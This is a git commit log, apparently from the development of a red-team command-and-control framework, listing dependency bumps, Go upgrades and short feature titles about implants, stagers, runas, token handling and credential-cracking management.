Generate name when none has been assigned
2022-11-10 09:27:46 -06:00
rkervella 77148d0d31 Generate name when none has been assigned 2022-11-09 15:58:00 -08:00
Ronan Kervella c7e77c8f8b Merge pull request #996 from MrAle98/feat/tokenManagement
improved token management
2022-11-09 08:28:14 -08:00
MrAle98 5e6148b193 improved token management 2022-11-09 14:41:22 +01:00
moloch-- f0fae008d3 Merge branch 'master' into v1.6.0/master 2022-11-07 07:59:02 -07:00
Joe 7b12e893a5 Merge pull request #992 from BishopFox/299adependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.2
Bump github.com/jedib0t/go-pretty/v6 from 6.4.0 to 6.4.2
2022-11-07 08:58:27 -06:00
Joe a619b59329 Merge pull request #993 from BishopFox/56d7dependabot/go_modules/github.com/gofrs/uuid-4.3.1incompatible
Bump github.com/gofrs/uuid from 4.3.0+incompatible to 4.3.1+incompatible
2022-11-07 08:57:48 -06:00
Joe ead23d8bf6 Merge pull request #994 from BishopFox/6c07dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.10
Bump github.com/shirou/gopsutil/v3 from 3.22.9 to 3.22.10
2022-11-07 08:57:16 -06:00
dependabot[bot] 7e6abd2211 Bump github.com/shirou/gopsutil/v3 from 3.22.9 to 3.22.10
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.9 to 3.22.10.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.22.9...v3.22.10)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-11-07 03:08:21 +00:00
dependabot[bot] 4052093d57 Bump github.com/gofrs/uuid from 4.3.0+incompatible to 4.3.1+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.3.0+incompatible to 4.3.1+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.3.0...v4.3.1)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-11-07 03:08:06 +00:00
dependabot[bot] a676cb328a Bump github.com/jedib0t/go-pretty/v6 from 6.4.0 to 6.4.2
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.0 to 6.4.2.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.0...v6.4.2)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-11-07 03:07:53 +00:00
moloch-- 25b14a97e2 merge master 2022-11-04 20:39:49 -07:00
Joe 1be1904c4d Merge pull request #990 from BishopFox/stage
Fix a few bugs
2022-11-04 22:16:19 -05:00
rkervella ead6b48b74 Add default flag value for netstat 2022-11-04 16:41:08 -07:00
rkervella 5d8ee38cb4 Allow user to skip reverse lookup 2022-11-04 16:39:23 -07:00
rkervella cef27f6511 Use IP instead of Sockaddr 2022-11-04 16:29:56 -07:00
rkervella dd91251710 Add debug target 2022-11-04 16:14:06 -07:00
rkervella d13e3fc61e Fix terminate to support beacons 2022-11-04 15:27:57 -07:00
Ronan Kervella cfb292d6d6 Merge pull request #987 from BishopFox/fix/webtable
Fix website content table
2022-11-03 17:54:03 -07:00
moloch-- 0e66a5643e Fix website content table 2022-11-03 08:40:23 -07:00
moloch-- 6cc3955f2a Use default handler instead of 404 2022-11-03 08:38:28 -07:00
moloch-- 1cfcfc5659 Move state to parent 2022-11-02 20:42:19 -07:00
moloch-- 5a9b01516d Speed float32 2022-11-02 20:39:18 -07:00
moloch-- ededdfee1c Detailed status 2022-11-02 20:05:08 -07:00
Joe 5a7ee43120 Merge pull request #986 from BishopFox/feature/runas-password
Revamped `runas` command
2022-11-02 21:57:06 -05:00
Joe 8b7a66a595 Merge pull request #985 from BishopFox/feature/alternate-logon-type
Let user choose the logon type
2022-11-02 21:56:44 -05:00
rkervella f8ae372796 Reworked runas to act as the windows utility 2022-11-02 18:22:18 -07:00
rkervella 5908033ffd Fix const package 2022-11-02 17:46:38 -07:00
rkervella e083fa6db4 Reworked runas 2022-11-02 17:46:08 -07:00
rkervella eb96269114 Add CreateProcessWithLogonW 2022-11-02 17:27:15 -07:00
rkervella e9945d7cb4 Let user choose the logon type 2022-11-02 17:16:08 -07:00
moloch-- f9382baa35 Merge branch 'master' into v1.6.0/master 2022-11-02 16:14:45 -07:00
Joe c91740d2ac Merge pull request #984 from BishopFox/feature/pstree
Fix pstree
2022-11-02 18:06:40 -05:00
rkervella 170c2bc462 Use nodes vs branches when it makes sense. 2022-11-02 15:24:37 -07:00
rkervella ac56a98671 Safely delete nodes 2022-11-02 15:18:57 -07:00
rkervella 6c7814ce4f Fix pstree 2022-11-02 14:24:10 -07:00
moloch-- 35522b1bc6 Cleanup ioutil 2022-11-02 12:04:15 -07:00
moloch-- f66f61eb01 Merge branch 'master' into v1.6.0/master 2022-11-02 09:13:48 -07:00
Joe 4adc9abd6a Merge pull request #982 from BishopFox/feature/pstree
Add process tree option to `ps`
2022-11-02 11:08:20 -05:00
rkervella 418b061c14 Add support for ps tree 2022-11-01 22:42:38 -07:00
moloch-- 9cfef52739 Merge branch 'master' into v1.6.0/creds 2022-11-01 15:59:11 -07:00
rkervella 95ea7d8390 Fix indentation 2022-11-01 15:47:06 -07:00
Joe 7f02c2ca96 Merge pull request #980 from BishopFox/go/v1.19.3
Go v1.19.3
2022-11-01 13:59:27 -05:00
moloch-- 430b5ffb79 Go v1.19.3 2022-11-01 10:59:06 -07:00
moloch-- e256b74773 Parse crackfileid 2022-11-01 10:50:48 -07:00
Joe e0c7779c6d Merge pull request #977 from BishopFox/b716dependabot/go_modules/github.com/spf13/cobra-1.6.1
Bump github.com/spf13/cobra from 1.6.0 to 1.6.1
2022-10-31 00:25:43 -05:00
Joe aa31df6813 Merge pull request #978 from BishopFox/f5a9dependabot/go_modules/modernc.org/sqlite-1.19.3
Bump modernc.org/sqlite from 1.19.2 to 1.19.3
2022-10-31 00:25:26 -05:00
Joe 4146b382ff Merge pull request #976 from BishopFox/c5dcdependabot/go_modules/github.com/mattn/go-sqlite3-1.14.16
Bump github.com/mattn/go-sqlite3 from 1.14.15 to 1.14.16
2022-10-31 00:24:55 -05:00
dependabot[bot] 1e2e3caca0 Bump modernc.org/sqlite from 1.19.2 to 1.19.3
---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-31 03:24:40 +00:00
dependabot[bot] 40a9b74119 Bump github.com/spf13/cobra from 1.6.0 to 1.6.1
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.6.0 to 1.6.1.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.6.0...v1.6.1)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-31 03:24:11 +00:00
dependabot[bot] 125a4ac0c4 Bump github.com/mattn/go-sqlite3 from 1.14.15 to 1.14.16
Bumps [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) from 1.14.15 to 1.14.16.
- [Release notes](https://github.com/mattn/go-sqlite3/releases)
- [Commits](https://github.com/mattn/go-sqlite3/compare/v1.14.15...v1.14.16)

---
updated-dependencies:
- dependency-name: github.com/mattn/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-31 03:24:04 +00:00
moloch-- 91d1177f82 Bug fixes to crack add/rm 2022-10-30 17:07:28 -07:00
moloch-- 1a66b392ba implemented other crack file types 2022-10-30 16:56:44 -07:00
moloch-- 05b887962a File mgmt 2022-10-30 15:19:53 -07:00
moloch-- ffeebebc8a Display benchmarks 2022-10-29 19:48:55 -07:00
moloch-- c06089974e Updated bench types 2022-10-29 18:35:55 -07:00
moloch-- f47a1d9606 Benchmark rpc 2022-10-29 17:25:35 -07:00
moloch-- ac9a5052aa Updated task models 2022-10-29 13:52:27 -07:00
moloch-- 921abe0620 Expanded db models 2022-10-27 20:34:04 -07:00
moloch-- c3f4b7493d Updated pb 2022-10-27 17:43:20 -07:00
moloch-- 4f2e86c6fc Made HostUUID pk 2022-10-25 22:53:37 -07:00
moloch-- d9f2146849 Added more crackstation events 2022-10-25 21:22:05 -07:00
moloch-- 3a4158fada Add crack basic cmds 2022-10-25 20:18:40 -07:00
moloch-- 7d095fae82 Added collections 2022-10-25 19:11:40 -07:00
moloch-- 364e61bf10 Added collections 2022-10-25 19:10:45 -07:00
moloch-- 5685af7978 Added more hash types 2022-10-25 18:23:55 -07:00
moloch-- 6b43991619 Added some basic file parsers 2022-10-24 22:38:40 -07:00
moloch-- c91a2ce822 Updated readme 2022-10-24 21:39:38 -07:00
moloch-- da6c11f259 Updated help 2022-10-24 21:25:23 -07:00
moloch-- 82a9e7fc9a Cred crud fixes 2022-10-24 20:05:50 -07:00
moloch-- e7f03babaa Cred crud 2022-10-24 19:29:03 -07:00
moloch-- 0af718beea Go mod tidy/vendor 2022-10-24 09:21:03 -07:00
moloch-- 16f96c5add Merge branch 'master' into feature/creds 2022-10-24 09:20:34 -07:00
Joe 84c56f3c4e Merge pull request #967 from BishopFox/30d7dependabot/go_modules/gorm.io/driver/postgres-1.4.5
Bump gorm.io/driver/postgres from 1.4.4 to 1.4.5
2022-10-24 11:20:10 -05:00
dependabot[bot] 14553f9a5a Bump gorm.io/driver/postgres from 1.4.4 to 1.4.5
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.4.4 to 1.4.5.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.4.4...v1.4.5)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-24 15:26:40 +00:00
Joe 441038a508 Merge pull request #968 from BishopFox/01f2dependabot/go_modules/github.com/stretchr/testify-1.8.1
Bump github.com/stretchr/testify from 1.8.0 to 1.8.1
2022-10-24 10:25:39 -05:00
Joe 4bf328edd9 Merge pull request #969 from BishopFox/0370dependabot/go_modules/gorm.io/driver/sqlite-1.4.3
Bump gorm.io/driver/sqlite from 1.4.2 to 1.4.3
2022-10-24 10:25:20 -05:00
Joe f7d5d5f4c6 Merge pull request #971 from BishopFox/d52bdependabot/go_modules/gorm.io/driver/mysql-1.4.3
Bump gorm.io/driver/mysql from 1.4.1 to 1.4.3
2022-10-24 10:25:03 -05:00
Joe ea764705f1 Merge pull request #970 from BishopFox/f6e5dependabot/go_modules/golang.org/x/text-0.4.0
Bump golang.org/x/text from 0.3.8 to 0.4.0
2022-10-24 10:24:45 -05:00
moloch-- 3f00c639dd Merge branch 'master' into feature/creds 2022-10-24 08:24:35 -07:00
moloch-- f5c75eba83 Tweak pb 2022-10-24 08:24:16 -07:00
moloch-- 2a86250fd4 Fix spelling 2022-10-23 23:25:33 -07:00
moloch-- c4616ff43c wip on hashcat protobuf 2022-10-23 23:01:31 -07:00
moloch-- c3a28dcf7a wip on hashcat protobuf 2022-10-23 22:53:23 -07:00
dependabot[bot] 0417fc16f6 Bump gorm.io/driver/mysql from 1.4.1 to 1.4.3
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.4.1 to 1.4.3.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.4.1...v1.4.3)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-24 03:40:19 +00:00
dependabot[bot] 901e9fd9e1 Bump golang.org/x/text from 0.3.8 to 0.4.0
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.3.8 to 0.4.0.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.3.8...v0.4.0)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-24 03:40:13 +00:00
dependabot[bot] c5b3250d17 Bump gorm.io/driver/sqlite from 1.4.2 to 1.4.3
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.4.2 to 1.4.3.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.4.2...v1.4.3)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-24 03:40:07 +00:00
dependabot[bot] 9f72364e54 Bump github.com/stretchr/testify from 1.8.0 to 1.8.1
Bumps [github.com/stretchr/testify](https://github.com/stretchr/testify) from 1.8.0 to 1.8.1.
- [Release notes](https://github.com/stretchr/testify/releases)
- [Commits](https://github.com/stretchr/testify/compare/v1.8.0...v1.8.1)

---
updated-dependencies:
- dependency-name: github.com/stretchr/testify
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-24 03:40:00 +00:00
moloch-- b1b6f8186c Implement core crackstation mgmt 2022-10-23 14:10:39 -07:00
Ronan Kervella 184dde22ad Merge pull request #965 from BishopFox/moloch---patch-4
Update autorelease.yml
2022-10-23 13:29:46 -07:00
Joe 0f5262ef87 Update autorelease.yml
Remove goreleaser branch trigger

Signed-off-by: Joe <[email protected]>
2022-10-22 13:21:15 -05:00
moloch-- f68932ab3f Add kerb and net ntlm hashes 2022-10-21 14:08:08 -07:00
moloch-- 8a669d1d84 Merge branch 'master' into feature/creds 2022-10-21 13:44:09 -07:00
Joe bb8b7111b7 Merge pull request #964 from BishopFox/stage
Remove ioutil usage
2022-10-21 15:21:24 -05:00
rkervella 567e51ca46 Remove ioutil usage 2022-10-21 11:46:29 -07:00
Joe 05166e896f Merge pull request #962 from BishopFox/moloch---patch-3
Remove status badge until github fixes
2022-10-21 12:01:47 -05:00
Joe 3cfe6435f3 Remove status badge until github fixes
https://github.com/actions/runner/issues/1830

Signed-off-by: Joe <[email protected]>
2022-10-21 11:23:57 -05:00
Ronan Kervella 48c65108d6 Merge pull request #960 from BishopFox/moloch---patch-2
Update badge
2022-10-21 09:00:01 -07:00
Ronan Kervella a271932c8a Merge pull request #961 from BishopFox/fix/garble-linux-arm64
Download the correct garble executable for linux arm64
2022-10-21 08:28:13 -07:00
moloch-- 90b3c7bca4 Merge branch 'master' into feature/creds 2022-10-21 08:17:00 -07:00
moloch-- 8c6fe18280 Download the correct garble executable for linux arm64 2022-10-21 07:38:41 -07:00
Joe 97dbae571c Update badge
Signed-off-by: Joe <[email protected]>
2022-10-20 15:44:48 -05:00
Joe b5e629c4a6 Merge pull request #959 from BishopFox/test/code-ql
Test/code ql
2022-10-20 15:04:24 -05:00
moloch-- 30b1cb8a85 Appease codeql's zip/path traversal false detection 2022-10-20 11:45:35 -07:00
moloch-- eb70ed2d0b Tweak codeql config, fix db logging issue 2022-10-20 10:39:02 -07:00
Joe 53593be73f Merge pull request #958 from BishopFox/fix/action-go
Switch actions to Go ^1.19
2022-10-20 12:35:21 -05:00
moloch-- a144991ede Update codeql config 2022-10-20 10:03:34 -07:00
moloch-- cf5ae8bd07 Merge branch 'master' into feature/creds 2022-10-20 09:58:46 -07:00
moloch-- 0bb5ea506a Switch actions to Go ^1.19 2022-10-20 09:53:13 -07:00
Joe d76e845bda Merge pull request #957 from BishopFox/0145dependabot/bundler/docs/nokogiri-1.13.9
Bump nokogiri from 1.13.6 to 1.13.9 in /docs
2022-10-19 13:25:05 -05:00
dependabot[bot] 47d1f0d66b Bump nokogiri from 1.13.6 to 1.13.9 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.6 to 1.13.9.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.6...v1.13.9)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-19 17:07:35 +00:00
Joe bf1127f7f2 Merge pull request #956 from BishopFox/go-sqlite
Update pure go sqlite3
2022-10-19 12:07:04 -05:00
moloch-- 8b58648713 Use gosqlite by default for linux-arm64 builds 2022-10-19 09:19:49 -07:00
moloch-- 15b5b7c09b Update pure go sqlite3 2022-10-19 09:00:25 -07:00
moloch-- 4d3ac9177a Added new models to orm 2022-10-18 17:13:24 -07:00
moloch-- 92a9bc4da9 Update help 2022-10-18 16:55:35 -07:00
moloch-- 4b3a9dad8a Refactoring loot/creds schemes 2022-10-18 16:45:41 -07:00
Ronan Kervella d7fcfe8760 Merge pull request #952 from BishopFox/feature/task-fetch-execute-assembly
Handle `execute-assembly --in-process` in `task fetch`
2022-10-18 12:06:56 -07:00
rkervella 88ca9cf905 Handle in-process execute assembly in task fetch 2022-10-18 10:55:23 -07:00
rkervella c41fc309ad Handle execute-assembly in task fetch 2022-10-18 10:51:49 -07:00
Joe a8a36dd6e2 Merge pull request #951 from BishopFox/fix/tls-compat
Ensure at least one modern cipher suite for https
2022-10-17 16:04:25 -05:00
moloch-- 0a4dfccf25 Ensure at least one modern cipher suite for https 2022-10-17 13:20:06 -07:00
Joe 20df965603 Merge pull request #950 from BishopFox/feature/external-builder
Fix issue #948
2022-10-17 14:16:31 -05:00
moloch-- 7b697ae5d1 Fix profile beacon new 2022-10-17 11:19:06 -07:00
moloch-- ab5b319a9d Fix issue #948 2022-10-17 11:07:40 -07:00
Ronan Kervella fc18744280 Merge pull request #945 from BishopFox/feature/external-builder
Regenerate external builds
2022-10-17 08:27:33 -07:00
Joe 8c5d55404c Merge pull request #946 from BishopFox/1acfdependabot/go_modules/github.com/spf13/cobra-1.6.0
Bump github.com/spf13/cobra from 1.5.0 to 1.6.0
2022-10-17 09:34:06 -05:00
Joe 53c436b7dc Merge pull request #947 from BishopFox/170ddependabot/go_modules/golang.org/x/text-0.3.8
Bump golang.org/x/text from 0.3.7 to 0.3.8
2022-10-17 09:33:42 -05:00
dependabot[bot] 3bf6ca5527 Bump golang.org/x/text from 0.3.7 to 0.3.8
Bumps [golang.org/x/text](https://github.com/golang/text) from 0.3.7 to 0.3.8.
- [Release notes](https://github.com/golang/text/releases)
- [Commits](https://github.com/golang/text/compare/v0.3.7...v0.3.8)

---
updated-dependencies:
- dependency-name: golang.org/x/text
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-17 03:31:12 +00:00
dependabot[bot] f5b8e3f23f Bump github.com/spf13/cobra from 1.5.0 to 1.6.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.5.0 to 1.6.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.5.0...v1.6.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-17 03:30:58 +00:00
moloch-- 3cb03537e5 Implement failed build notifications 2022-10-16 15:32:05 -07:00
moloch-- 85d23885ae Improved long help 2022-10-16 14:34:28 -07:00
moloch-- 6cad9d45d0 Regenerate external builds 2022-10-16 14:17:30 -07:00
Ronan Kervella 2810bebd07 Merge pull request #943 from BishopFox/feature/external-builder
Feature/external builder
2022-10-16 07:17:52 -07:00
moloch-- cf0eb211e4 Implement more build events 2022-10-15 18:29:18 -07:00
moloch-- 3668cd73fb Unit tests pass 2022-10-15 18:02:31 -07:00
moloch-- 69804ed3b9 Unique builder names 2022-10-15 16:43:33 -07:00
moloch-- 2d376ce90b Quality of life improvements 2022-10-15 14:59:56 -07:00
moloch-- dbee28263b Refactor to support tracking builder state 2022-10-15 13:08:16 -07:00
moloch-- 3160c8f31f Fix regenerate/file name 2022-10-14 20:16:01 -07:00
moloch-- 84746926f0 Basic workflow is working 2022-10-14 19:26:22 -07:00
Ronan Kervella 020e18d0f8 Merge pull request #941 from jamesgol/fix-reconfig
Fix reconfig DB saving for sessions
2022-10-14 15:28:52 -07:00
James Golovich ceca730e6b Fix reconfig DB saving for sessions 2022-10-14 13:58:53 -07:00
moloch-- 677a079132 Merged master 2022-10-13 17:18:50 -07:00
Joe 971f44e4a1 Merge pull request #937 from BishopFox/6d9bdependabot/go_modules/gorm.io/driver/sqlite-1.4.2
Bump gorm.io/driver/sqlite from 1.3.6 to 1.4.2
2022-10-11 08:46:11 -05:00
Joe d17b842d63 Merge pull request #936 from BishopFox/f965dependabot/go_modules/gorm.io/driver/mysql-1.4.1
Bump gorm.io/driver/mysql from 1.3.6 to 1.4.1
2022-10-11 08:45:47 -05:00
dependabot[bot] 032e116a42 Bump gorm.io/driver/mysql from 1.3.6 to 1.4.1
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.3.6 to 1.4.1.
- [Release notes](https://github.com/go-gorm/mysql/releases)
- [Commits](https://github.com/go-gorm/mysql/compare/v1.3.6...v1.4.1)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-11 04:23:27 +00:00
dependabot[bot] 5cc548589f Bump gorm.io/driver/sqlite from 1.3.6 to 1.4.2
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.3.6 to 1.4.2.
- [Release notes](https://github.com/go-gorm/sqlite/releases)
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.3.6...v1.4.2)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-11 04:22:29 +00:00
Joe 4047b42522 Merge pull request #938 from BishopFox/d1dcdependabot/go_modules/gorm.io/driver/postgres-1.4.4
Bump gorm.io/driver/postgres from 1.3.10 to 1.4.4
2022-10-10 23:21:08 -05:00
Ronan Kervella a2b039bb51 Merge pull request #932 from BishopFox/feature/sgn-inject
Feature/sgn inject
2022-10-10 18:43:48 +02:00
Ronan Kervella 3c7fe8f1c6 Merge pull request #933 from BishopFox/go/v1.19.2
Go v1.19.2
2022-10-10 18:43:08 +02:00
dependabot[bot] a1d6d00a6a Bump gorm.io/driver/postgres from 1.3.10 to 1.4.4
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.3.10 to 1.4.4.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.3.10...v1.4.4)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-10 03:39:19 +00:00
moloch-- 2481b9632f Updated garble 2022-10-09 09:57:01 +02:00
moloch-- 58e11d40fa Go v1.19.2 2022-10-09 09:01:28 +02:00
moloch-- 196d42c8f1 Merge branch 'master' into feature/sgn-inject 2022-10-08 17:32:52 +02:00
Joe 3a4eee20a0 Merge pull request #928 from BishopFox/28d2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.4.0
Bump github.com/jedib0t/go-pretty/v6 from 6.3.8 to 6.4.0
2022-10-08 04:20:26 -05:00
dependabot[bot] 7714950206 Bump github.com/jedib0t/go-pretty/v6 from 6.3.8 to 6.4.0
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.3.8 to 6.4.0.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.3.8...v6.4.0)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-04 18:33:07 +00:00
Joe bae0f479b8 Merge pull request #930 from BishopFox/76b4dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.9
Bump github.com/shirou/gopsutil/v3 from 3.22.8 to 3.22.9
2022-10-04 13:31:27 -05:00
Joe fd090228e8 Merge pull request #927 from BishopFox/7dc3dependabot/go_modules/gorm.io/gorm-1.23.10
Bump gorm.io/gorm from 1.23.9 to 1.23.10
2022-10-04 13:30:43 -05:00
Joe 69dfe8c047 Merge pull request #929 from BishopFox/04d1dependabot/go_modules/github.com/chromedp/chromedp-0.8.6
Bump github.com/chromedp/chromedp from 0.8.5 to 0.8.6
2022-10-04 13:30:11 -05:00
dependabot[bot] d8b9f7cbd6 Bump github.com/shirou/gopsutil/v3 from 3.22.8 to 3.22.9
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.22.8 to 3.22.9.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.22.8...v3.22.9)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-03 03:20:06 +00:00
dependabot[bot] 4c6269ba5a Bump github.com/chromedp/chromedp from 0.8.5 to 0.8.6
Bumps [github.com/chromedp/chromedp](https://github.com/chromedp/chromedp) from 0.8.5 to 0.8.6.
- [Release notes](https://github.com/chromedp/chromedp/releases)
- [Commits](https://github.com/chromedp/chromedp/compare/v0.8.5...v0.8.6)

---
updated-dependencies:
- dependency-name: github.com/chromedp/chromedp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-03 03:19:56 +00:00
dependabot[bot] c98d1e2c17 Bump gorm.io/gorm from 1.23.9 to 1.23.10
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.9 to 1.23.10.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.9...v1.23.10)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-10-03 03:19:37 +00:00
moloch-- d582987c78 Refactor randomString to randomFileName 2022-09-30 19:39:37 -07:00
moloch-- 794db93ec9 Refactor randomString to randomFileName 2022-09-30 19:38:19 -07:00
moloch-- 338b622b97 Reorder code 2022-09-30 18:35:33 -07:00
moloch-- 4ecf42b5c2 Add cmd flag to disable sgn 2022-09-30 18:31:55 -07:00
moloch-- 7c5262d63d Added sgn to migrate, clean up ioutil usage 2022-09-30 18:18:52 -07:00
moloch-- 1a41eacb66 Tweaks to sgn 2022-09-30 10:07:46 -07:00
Joe 32e4ed63e9 Merge pull request #926 from BishopFox/fix/tls1.2
Tweak https/tls server compatibility for windows
2022-09-30 10:52:55 -05:00
moloch-- e65629e089 Tweak https/tls server compatibility for windows 2022-09-30 08:10:46 -07:00
Ronan Kervella 0c14621e53 Merge pull request #924 from BishopFox/fix/headers
Only add cache header to responses that need it
2022-09-29 13:09:40 -07:00
moloch-- e27e030431 Only add cache header to responses that need it 2022-09-29 09:01:01 -07:00
moloch-- 1fd850c738 wip refactor of generate code 2022-09-28 20:45:12 -07:00
Ronan Kervella 4738bf229c Merge pull request #922 from jamesgol/dns-beacon
Ensure beacon tries to connect the same as session
2022-09-28 16:45:14 -07:00
Joe c0a5a06efc Merge pull request #921 from pb376/fix-mtls-conn-close
Avoid closing nil tls connection #919
2022-09-28 17:53:24 -05:00
James Golovich 97ff802a40 Ensure beacon tries to connect the same as session 2022-09-28 15:41:20 -07:00
pb376 106c7f0427 Avoid closing nil tls connection #919 2022-09-28 15:12:40 -05:00
Joe 37a46a21e0 Merge pull request #918 from BishopFox/fix/stager-https
Add support for HTTPS stagers
2022-09-28 11:23:46 -05:00
Joe 060d1c40fd Merge pull request #723 from BishopFox/feature/ssh-kerberos
Add kerberos support for SSH client
2022-09-28 11:23:26 -05:00
rkervella 3320f3958b Update implant vendor 2022-09-28 07:39:37 -07:00
rkervella 643a9ca3fe Update implant vendor 2022-09-28 07:38:59 -07:00
rkervella 52c2e1b0cf Merge branch 'master' into feature/ssh-kerberos 2022-09-28 07:38:20 -07:00
rkervella 2fe9b56dc5 Add support for HTTPS stagers 2022-09-28 07:36:27 -07:00
moloch-- 0fab805980 initial outline of external builders completed 2022-09-27 22:15:47 -07:00
moloch-- dd9bb01640 wip on external builder cli 2022-09-26 23:41:13 -07:00
moloch-- 0df56e5a95 Remove ioutil 2022-09-26 22:41:53 -07:00
moloch-- e8a77d83ea Add template name field, and basic external build workflow 2022-09-26 22:39:46 -07:00
moloch-- 98de546086 Add template name field 2022-09-26 21:23:34 -07:00
moloch-- 9e9ab2042f Tweak external build api, remove 3rd party unit test framework 2022-09-26 20:59:34 -07:00
Ronan Kervella 35907fa929 Merge pull request #916 from BishopFox/go/v1.19
Go/v1.19
2022-09-26 20:04:50 -07:00
moloch-- 608de5213a Update wg GOGARBLE mask 2022-09-26 18:40:29 -07:00
